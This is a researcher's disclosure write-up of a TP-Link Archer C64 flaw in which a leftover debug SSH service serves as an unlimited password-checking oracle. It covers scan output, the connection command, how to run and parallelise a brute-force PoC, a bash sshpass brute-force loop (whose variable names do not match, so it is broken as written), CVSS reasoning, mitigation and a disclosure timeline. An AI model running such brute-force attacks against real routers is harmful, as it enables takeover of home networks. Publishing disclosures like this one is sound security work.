# CVE-2026-8697: Login Rate Limit Bypass on TP-Link Archer C64 *CVE-2026-8697 is a logic flaw in the TP-Link Archer C64's OS (called TPOS in the debug message). It lets any unprivileged user connected to the router to bypass the web UI rate limit by using a residual SSH service. A simple Python script can be used to try out many passwords in a short amount of time and obtain full admin access on the router.* POC: [poc.py](poc.py) The router has a debug SSH service which does not grant a shell to the router, rather it just exits when the correct password has been entered. But it uses the same password as the admin interface and has neither rate limits nor lockout policies. As such, it can be used as a high-speed authentication oracle to brute-force the password. This vulnerability can be used by malicious or compromised IoT devices on the network to gain full admin access to the router. An attacker cannot gain shell access through this interface, but they can easily verify credentials to compromise the primary web management interface. This vulnerability has been patched in firmware version 1.15.0, which simply removes the service. To test your router, use this command (Linux/macOS): ```bash timeout 10 nc -vz 192.168.0.1 22 echo $? ``` Replace the IP address with the address you use to connect to the router's web interface. If the output is `0` or it shows `succeeded!` then your router is vulnerable. Otherwise, it is not. In Windows, run the following in PowerShell: ```pwsh tnc 192.168.0.1 -Port 22 ``` If it shows `TcpTestSucceeded : True` then your router is vulnerable. Otherwise if it hangs indefinitely or shows it as False then it is not vulnerable. The bug is entirely logic-based and does not require memory corruption, ASLR bypass or winning race conditions. # Discovery and Reproduction At the time, I was learning Nmap and for fun decided to scan my router. At that time I was not looking for vulnerabilities but I noticed an open SSH service. ```bash $ sudo nmap -A -T4 192.168.0.1 Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-22 20:06 +0600 Nmap scan report for 192.168.0.1 Host is up (0.0028s latency). Not shown: 996 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.0 (protocol 2.0) | ssh-hostkey: |_ 1024 c3:db:85:33:94:d5:f7:c9:91:18:a0:73:5c:1a:aa:a5 (DSA) 53/tcp open tcpwrapped 80/tcp open http TP-LINK router http config |_http-title: Opening... 443/tcp open ssl/https? | ssl-cert: Subject: commonName=tplinkwifi.net/countryName=CN | Subject Alternative Name: DNS:tplinkwifi.net, IP Address:192.168.0.1 | Not valid before: 2010-01-01T00:00:00 |_Not valid after: 2030-12-31T00:00:00 |_ssl-date: TLS randomness does not represent time MAC Address: 78:8C:B5:25:3B:AF (TP-Link Systems) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Canon imageRUNNER C5185 printer or Mercusys AC12G WAP (96%), Canon imageRUNNER C2380 or C2880i or Xerox Phaser 8860MFP printer (92%), Fujitsu Externus DX80 or IBM DCS9900 NAS device (92%), VxWorks (92%), Avaya 4526GTX switch (92%), Nortel CS1000M VoIP PBX or Xerox Phaser 8560DT printer (88%), Aastra Dialog 4425 IP phone (87%), HP ProCurve 3500yl, 5406zl, or 6200yl switch or UTStarcom F1000 VoIP phone (87%), Apple AirPort Express WAP or AMX NI-3100 controller (VxWorks) (86%), Xerox ApeosPort-IV C3370 printer (86%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop ``` The log above shows an SSH service running OpenSSH 6.6.0 (a legacy version from 2014, but the version does not matter for this). Seeing the very old version, I suspected that it could be used by an attacker and tried to SSH into it with the intention of getting a shell and updating the firmware. At that point I was trying to secure my router, not to find vulnerabilities. However, connecting to it presented an interesting problem: the host key and public key algorithms were not supported on my version of OpenSSH. Using `-o` also did not work in my system, so I had to use a `debian:bullseye-slim` container which has an OpenSSH client supporting the `diffie-hellman-group14-sha1` and `ssh-dss` algorithms. Inside the container, after installing the OpenSSH client, I was able to connect to the SSH server. ```bash ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \ -o HostKeyAlgorithms=+ssh-dss root@192.168.0.1 ``` I used this and was finally able to connect to the SSH server, which greeted me with the message `TPOS 5 IPSSH Test` and a password prompt. However, after entering the password, the connection just closed immediately. I even tried directly running a command but it did not run the command. I realized that there was no shell, so an attacker could not get access to my router. So my router is safe, right? Well, not really. I realized that even though you did not get any access, you _did_ get to know if your password was correct or not. And that password was the same as the web interface password, and there were absolutely no rate limits or anything to stop a brute-force attack. That is when the idea of turning this into a CVE came to me. I tried to automate the attack. First I tried using `sshpass` in a bash loop but you could not use multiple passwords per connection, so I tried making a Python script. That is the attached POC. To use the POC, first create a venv and install `pexpect`. Note that the script does not use Pexpect's `pxssh` module since it does not support trying multiple passwords in a single connection. ```bash python3 -m venv venv source venv/bin/activate pip install pexpect ``` Save the script to `poc.py` and run it. You can optionally pass in a path to a newline-separated password list as the first argument. If you don't, it will use the numbers from 1 to 100 as passwords (for speed testing). ```bash python3 poc.py list.txt ``` You can parallelize the attack by running multiple instances with different lists. If you run more than 3 instances, you will start to see connection errors. The script still makes sure all the passwords are tried. ```bash python3 poc.py list1.txt & python3 poc.py list2.txt & python3 poc.py list3.txt & ``` # Potential Impact An attacker can use a malicious or compromised IoT device on the network to brute-force the password and gain admin access to the admin interface. There is no indication to the user that this is happening, and the attacker can do this for a long time without being detected. Once the attacker has access to the admin interface, they can change the DNS settings to perform DNS hijacking, change the Wi-Fi password to lock out users, use static routing to intercept unencrypted traffic or block network access by routing to a nonexistent IP, forward ports, turn off the firewall/ALG and more. # CVSS 4.0 The CVSS 4.0 attack vector for this vulnerability is: ``` CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H ``` , which resolves to a score of [9.3 Critical](https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:H). My reasoning for each metric is as follows: - Attack Vector (AV): **Adjacent (A)** The attacker has to be connected to the Wi-Fi network to exploit this. - Attack Complexity (AC): **Low (L)** The attack is straightforward and does not require any special conditions. A basic implementation of the attack can look like so: ```bash while read pass;do sshpass -p "$PASS" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss -o NumberOfPasswordPrompts=100000 root@192.168.0.1 if [ $? -eq 0 ]; then echo "Password found: $PASS" break fi done < list.txt ``` (note that this is slower than the POC script since it does not try multiple passwords per connection) - Attack Requirements (AT): **None (N)** This is a purely logic-based bug and does not require any conditions such as winning a race condition. - Privileges Required (PR): **None (N)** No special privileges are required. Note that the requirement to be connected to the Wi-Fi network is already captured in `AV:A`. - User Interaction (UI): **None (N)** The attack can be performed without any user interaction. - Confidentiality, Integrity and Availability of Vulnerable System (VC,VI,VA): **High (H)** The attacker gets full admin access to the router, which constitutes a complete compromise of the confidentiality and integrity of the router. The attacker can easily make the router unusable in many ways and require physical access to fix it (eg using the Access Control feature to only allow a non-existent MAC address to access the admin interface and turning off Wi-Fi and changing the Internet settings to break internet access). - Confidentiality and Integrity of Subsequent System (SC,SI): **Low (L)** The attacker can intercept traffic using various methods (eg. changing DNS, using static routing), so it is not None. However, accounting for the fact that most traffic is encrypted, the impact on the subsequent system is limited. (Although I am unsure if this should be High or Low) - Availability of Subsequent System (SA): **High (H)** The attacker can easily break the internet access of all devices connected to the router. ### CVSS 4.0 Analysis & Discrepancy The vendor (TP-Link) published this vulnerability with a score of **8.7 (High)** with the vector: `CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` However, this research argues that the **Subsequent System Impact** should not be rated as "None." Because the router acts as the primary gateway for all connected devices: 1. **Subsequent Availability (SA:H):** Admin access allows an attacker to permanently block internet access for all connected devices. 2. **Subsequent Integrity/Confidentiality (SI:L/SC:L):** DNS hijacking and routing manipulation allow for active traffic redirection and metadata harvesting. Therefore, a more accurate representation of the risk to the home network is **9.3/Critical** as discussed above. # Mitigation Updating the router's firmware to `1.15.0 Build 250729` or later will fix this. # Coordinated Disclosure Timeline | Date | Event | |------------|-------| | 2026-02-26 | Vulnerability reported to TP-Link Product Security Team | | 2026-03-03 | Initial acknowledgement received | | 2026-03-14 | TP-Link confirms they are in the phase of verification and remediation | | 2026-04-22 | TP-Link says the vulnerability has been fixed in firmware version 1.15.0, but the firmware is not publicly available yet | | 2026-04-24 | Firmware is publicly available | | 2026-04-26 | Patch confirmed and CVE ID requested | | 2026-05-15 | 90 day deadline reminder sent to TP-Link | | 2026-05-15 | CVE ID reserved | | 2026-05-29 | Public disclosure | | 2026-05-29 | Writeup published (this document) | # References - [Security Advisory](https://www.tp-link.com/us/support/faq/5105/) - [CVE Record](https://www.cve.org/cverecord?id=CVE-2026-8697) --- This vulnerability was discovered and reported by Tanjim Kamal. - Website: [tanjim.org](https://tanjim.org) - GitHub: [itzmetanjim](https://github.com/itzmetanjim) - Email: [contact@tanjim.org](mailto:contact@tanjim.org)